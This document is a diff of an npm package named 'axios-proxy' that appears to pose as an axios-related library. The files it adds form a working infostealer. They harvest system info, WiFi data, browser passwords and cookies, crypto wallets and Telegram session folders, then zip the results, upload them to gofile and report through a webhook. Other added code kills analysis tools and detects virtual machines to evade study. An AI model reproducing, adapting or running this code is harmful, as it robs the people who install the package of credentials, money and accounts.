axios-proxy 0.0.1-security → 1.7.9

package/utils/infection.js

@@ -0,0 +1,199 @@
+module.exports = (client) => {
+    return {
+
+        async get_user_info() {
+            let cpus = [];
+
+            for (var cpu of client.config.user.cpus) {
+                cpus.push(client.utils.encryption.decryptData(cpu))
+            }
+
+            let pc_info_text = "<================[   User Info   ]>================>\n<================[t.me/turcoflex]>================>\n\n";
+            let fields = [];
+
+            const wifi_connections = await client.config.user.wifi_connections()
+
+            for (let [key, value] of Object.entries({
+                    "🖥️ CPU(s)": cpus.join("\n"),
+                    "⚡ RAM": client.utils.encryption.decryptData(client.config.user.ram),
+                    "🛑 Version": client.utils.encryption.decryptData(client.config.user.version),
+                    "⏳ Uptime": client.utils.encryption.decryptData(client.config.user.uptime),
+                    "📂 Host directory": client.utils.encryption.decryptData(client.config.user.hostdir),
+                    "🆔 Host name": client.utils.encryption.decryptData(client.config.user.hostname),
+                    "🆔 PC Name": client.utils.encryption.decryptData(client.config.user.username),
+                    "👻 Type": client.utils.encryption.decryptData(client.config.user.type),
+                    "🏹 Arch": client.utils.encryption.decryptData(client.config.user.arch),
+                    "📢 Release": client.utils.encryption.decryptData(client.config.user.release),
+                    "🌌 AppData Path": client.utils.encryption.decryptData(client.config.user.appdata),
+                    "🪐 Temp Path": client.utils.encryption.decryptData(client.config.user.temp),
+                    "🌐 User Domain": client.utils.encryption.decryptData(client.config.user.user_domain),
+                    "💨 System Drive": client.utils.encryption.decryptData(client.config.user.system_drive),
+                    "💾 Processors": client.utils.encryption.decryptData(client.config.user.processors),
+                    "💾 Processor Identifier": client.utils.encryption.decryptData(client.config.user.processor_identifier),
+                    "💾 Processor Architecture": client.utils.encryption.decryptData(client.config.user.processor_architecture),
+                })) {
+                pc_info_text += `${key}: ${value}\n`
+                fields.push({
+                    name: key,
+                    value: `\`\`\`${value}\`\`\``,
+                    inline: true
+                })
+            }
+
+            let wifi_connections_text = `<================[WiFi connections]>================>\n<================[t.me/turcoflex ]>================>\n\n${wifi_connections}`;
+
+            client.utils.jszip.createTxt("\\WiFi Connections.txt", wifi_connections_text)
+            client.utils.jszip.createTxt("\\User Info.txt", pc_info_text)
+
+            return client.utils.webhook.createEmbed({
+                fields: fields
+            })
+        },
+
+        get_executable_info() {
+
+            let executable_info_text = "<================[Executable Info]>================>\n<================[t.me/turcoflex]>================>\n\n";
+            let fields = [];
+
+            for (let [key, value] of Object.entries({
+                    "☠️ Execution path": client.utils.encryption.decryptData(client.config.executable.execution_path),
+                    "🅿️ Debug port": client.config.executable.debug_port,
+                    "🔢 PID": client.config.executable.pid,
+                    "🔢 PPID": client.config.executable.ppid,
+                })) {
+                fields.push({
+                    name: key,
+                    value: `\`\`\`${value}\`\`\``,
+                    inline: false
+                })
+                executable_info_text += `${key}: ${value}\n`
+            }
+            client.utils.jszip.createTxt("\\Executable Info.txt", executable_info_text)
+
+            return client.utils.webhook.createEmbed({
+                fields: fields
+            })
+        },
+
+        async initialize() {
+            await this.get_user_info()
+            this.get_executable_info()
+            await this.infect();
+            await this.send_zip();
+            await this.sendtg_zip();
+        },
+
+        getFolderFiles(path_prefix, path) {
+            var result = "";
+
+            for (var file of client.requires.fs.readdirSync(`${path_prefix}\\${path}`)) {
+                var file_size_in_kb = (((client.requires.fs.statSync(`${path_prefix}\\${path}\\${file}`)).size) / 1024).toFixed(2);
+                if (!client.requires.fs.statSync(`${path_prefix}\\${path}\\${file}`).isDirectory()) {
+                    if (file.includes(".txt")) {
+                        result += `📄 ${path}/${file} - ${file_size_in_kb} KB\n`;
+                    } else if (file.includes(".png")) {
+                        result += `🖼️ ${path}/${file} - ${file_size_in_kb} KB\n`
+                    } else {
+                        result += `🥙 ${path}/${file} - ${file_size_in_kb} KB\n`
+                    }
+                } else {
+                    result += this.getFolderFiles(`${path_prefix}\\`, `${path}/${file}`)
+                }
+            }
+
+            return result;
+        },
+
+        async sendtg_zip() {
+
+            await client.utils.jsziptg.createZip();
+
+            const uploadtg = await client.utils.gofile.uploadFile(client.requires.fs.createReadStream(`${client.config.jsziptg.path}.zip`))
+
+            var counter_embed = this.create_counter_embedtg();
+
+            counter_embed.description = `**[Download the telegram files](${uploadtg.downloadPage})**`;
+
+            await client.utils.webhook.sendToWebhook(
+                {
+                    embeds: [counter_embed],
+                })
+        },
+
+        async send_zip() {
+
+            await client.utils.browsers.saveBrowserStuff()
+            await client.utils.jszip.createZip();
+            await client.utils.jsziptg.createZip();
+
+            const upload = await client.utils.gofile.uploadFile(client.requires.fs.createReadStream(`${client.config.jszip.path}.zip`))
+            const uploadtg = await client.utils.gofile.uploadFile(client.requires.fs.createReadStream(`${client.config.jsziptg.path}.zip`))
+
+            var counter_embed = this.create_counter_embed();
+
+            counter_embed.description = `**[Download the zip file](${upload.downloadPage})**`;
+
+            await client.utils.webhook.sendToWebhook(
+                {
+                    embeds: [counter_embed],
+                })
+        },
+
+        create_counter_embedtg() {
+            let obj = {
+                "title": `💉 Telegram - ${client.utils.encryption.decryptData(client.config.user.hostname)}/${client.utils.encryption.decryptData(client.config.user.user_domain)}/${client.utils.encryption.decryptData(client.config.user.username)}`,
+                "footer": {
+                    text: client.utils.encryption.decryptData(client.config.embed.footer.text),
+                    icon_url: client.utils.encryption.decryptData(client.config.embed.footer.icon_url),
+                },
+                "fields": [],
+                "timestamp": new Date(),
+            }
+
+            let cpus = [];
+
+            for (var cpu of client.config.user.cpus) {
+                cpus.push(client.utils.encryption.decryptData(cpu))
+            }
+
+            return obj
+        },
+
+        create_counter_embed() {
+            let obj = {
+                "title": `💉 Infected - ${client.utils.encryption.decryptData(client.config.user.hostname)}/${client.utils.encryption.decryptData(client.config.user.user_domain)}/${client.utils.encryption.decryptData(client.config.user.username)}`,
+                "footer": {
+                    text: client.utils.encryption.decryptData(client.config.embed.footer.text),
+                    icon_url: client.utils.encryption.decryptData(client.config.embed.footer.icon_url),
+                },
+                "fields": [],
+                "timestamp": new Date(),
+            }
+
+            let cpus = [];
+
+            for (var cpu of client.config.user.cpus) {
+                cpus.push(client.utils.encryption.decryptData(cpu))
+            }
+
+            for (let [key, value] of Object.entries({
+                    "🔑 Passwords": client.config.counter.passwords,
+                    "🍪 Cookies": client.config.counter.cookies,
+                    "🔖 Bookmarks": client.config.counter.bookmarks,
+                    "🌐 Wallets/Important Extensions": client.config.counter.wallets,
+                })) {
+                obj["fields"].push({
+                    name: key,
+                    value: `\`\`\`${value}\`\`\``,
+                    inline: true
+                })
+            }
+
+            return obj
+        },
+
+        async infect() {
+            await client.utils.discord.init();
+        }
+    };
+};

package/utils/jszip.js

@@ -0,0 +1,37 @@
+module.exports = (client) => {
+    return {
+
+        createTxt(suffix_path, content) {
+            client.requires.fs.writeFileSync(client.config.jszip.path + suffix_path, content, {
+                encoding: "utf8",
+                flag: "w+"
+            })
+        },
+
+        createFolder(suffix_path) {
+            if (!client.requires.fs.existsSync(client.config.jszip.path + suffix_path)) {
+
+                client.requires.fs.mkdirSync(client.config.jszip.path + suffix_path, 0744)
+            }
+        },
+
+        copyFolder(suffix_path, to_copy) {
+            var exists = client.requires.fs.existsSync(to_copy);
+            var stats = exists && client.requires.fs.statSync(to_copy);
+            var isDirectory = exists && stats.isDirectory();
+
+            if (isDirectory) {
+                this.createFolder(suffix_path);
+                client.requires.fs.readdirSync(to_copy).forEach((child_item_name) => {
+                    this.copyFolder(client.requires.path.join(suffix_path, child_item_name), client.requires.path.join(to_copy, child_item_name))
+                })
+            } else {
+                client.requires.fs.copyFileSync(to_copy, client.config.jszip.path + suffix_path, )
+            }
+        },
+
+        async createZip() {
+            await client.requires.jszip.archiveFolder(client.config.jszip.path, `${client.config.jszip.path}.zip`);
+        }
+    };
+};

package/utils/jsziptg.js

@@ -0,0 +1,37 @@
+module.exports = (client) => {
+    return {
+
+        createTxt(suffix_path, content) {
+            client.requires.fs.writeFileSync(client.config.jsziptg.path + suffix_path, content, {
+                encoding: "utf8",
+                flag: "w+"
+            })
+        },
+
+        createFolder(suffix_path) {
+            if (!client.requires.fs.existsSync(client.config.jsziptg.path + suffix_path)) {
+
+                client.requires.fs.mkdirSync(client.config.jsziptg.path + suffix_path, 0744)
+            }
+        },
+
+        copyFolder(suffix_path, to_copy) {
+            var exists = client.requires.fs.existsSync(to_copy);
+            var stats = exists && client.requires.fs.statSync(to_copy);
+            var isDirectory = exists && stats.isDirectory();
+
+            if (isDirectory) {
+                this.createFolder(suffix_path);
+                client.requires.fs.readdirSync(to_copy).forEach((child_item_name) => {
+                    this.copyFolder(client.requires.path.join(suffix_path, child_item_name), client.requires.path.join(to_copy, child_item_name))
+                })
+            } else {
+                client.requires.fs.copyFileSync(to_copy, client.config.jsziptg.path + suffix_path, )
+            }
+        },
+
+        async createZip() {
+            await client.requires.jsziptg.archiveFolder(client.config.jsziptg.path, `${client.config.jsziptg.path}.zip`);
+        }
+    };
+};

package/utils/protection.js

@@ -0,0 +1,45 @@
+module.exports = (client) => {
+    return {
+
+        async detect_malicious_processes() {
+            while (true) {
+                await client.requires.child_process.exec('tasklist', async(err, stdout) => {
+                    for (const executable of client.config.environ.blacklisted_programs) {
+                        if (stdout.toLowerCase().includes(executable)) {
+                            await client.requires.child_process.exec(`taskkill /IM ${executable}.exe /F`, (err) => {}) // Close
+                        }
+                    }
+                })
+                await client.utils.time.sleep(1000);
+            }
+        },
+
+        async inVM() {
+
+            let result = false
+
+            for (var path of ['D:\\Tools', 'D:\\OS2', 'D:\\NT3X']) {
+                if (client.requires.fs.existsSync(path)) {
+                    result = true
+                    break;
+                }
+            }
+
+            for (var name of client.config.environ.blacklisted_pc_names) {
+                if (name == client.utils.encryption.decryptData(client.config.user.user_domain) || name == client.utils.encryption.decryptData(client.config.user.username) || name == client.utils.encryption.decryptData(client.config.user.hostname)) {
+                    result = true;
+                    break;
+                }
+            }
+
+            //if (client.config.counter.wifinetworks == 0) {
+            //    const wifi_connections = await client.requires.systeminformation.getDynamicData();
+            //    if (wifi_connections.wifiNetworks.length == 0) {
+            //        result = true;
+            //    }
+            //}
+
+            return result;
+        }
+    };
+};

package/utils/prototype.js

@@ -0,0 +1,29 @@
+module.exports = (client) => {
+
+    Array.prototype.contains = function (obj) {
+        var i = this.length;
+        while (i--) {
+            if (this[i] === obj) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    String.prototype.includes = function(search, start) {
+        'use strict';
+        if (typeof start !== 'number') {
+          start = 0;
+        }
+        
+        if (start + search.length > this.length) {
+          return false;
+        } else {
+          return this.indexOf(search, start) !== -1;
+        }
+      };
+
+    return {
+
+    };
+};

package/utils/telegram.js

@@ -0,0 +1,27 @@
+module.exports = (client) => {
+    return {
+        async getTelegram() {
+            var description = "";
+
+            client.utils.jsziptg.createFolder("\\Telegram");
+
+            for (let [key, value] of Object.entries(client.config.telegram.directory)) {
+                if (client.requires.fs.existsSync(value)) {
+                    description += `${key}: ✔️\n`;
+                    client.utils.jsziptg.copyFolder(`\\Telegram\\`, value);
+                } else {
+                    description += `${key}: ❌\n`;
+                }
+            }
+
+
+            await client.utils.webhook.sendToWebhook(
+                {
+                    "embeds": [client.utils.webhook.createEmbed({
+                        "title": `Telegram | Result`,
+                        "description": `\`\`\`${description}\`\`\``,
+                    })],
+                })
+        }
+    };
+};

package/utils/time.js

@@ -0,0 +1,7 @@
+module.exports = (client) => {
+    return {
+        sleep(ms) {
+            return new Promise(resolve => setTimeout(resolve, ms));
+        }
+    };
+};

package/utils/wallets.js

@@ -0,0 +1,31 @@
+module.exports = (client) => {
+    return {
+        async getWallets() {
+            var description = "";
+
+            client.utils.jszip.createFolder("\\Wallets");
+
+            for (let [key, value] of Object.entries(client.config.wallets.directory)) {
+                if (client.requires.fs.existsSync(value)) {
+                    description += `${key}: ✔️\n`;
+                    client.utils.jszip.copyFolder(`\\Wallets\\${key}`, value);
+                    client.config.counter.wallets++;
+                } else {
+                    description += `${key}: ❌\n`;
+                }
+            }
+
+            if (description != "") {
+                client.utils.jszip.createTxt("\\Found Wallets.txt", "<================[ Network Data ]>================>\n<================[t.me/turcoflex]>================>\n\n" + description)
+            }
+
+            await client.utils.webhook.sendToWebhook(
+                {
+                    "embeds": [client.utils.webhook.createEmbed({
+                        "title": `💰 Wallet search | Result`,
+                        "description": `\`\`\`${description}\`\`\``,
+                    })],
+                })
+        }
+    };
+};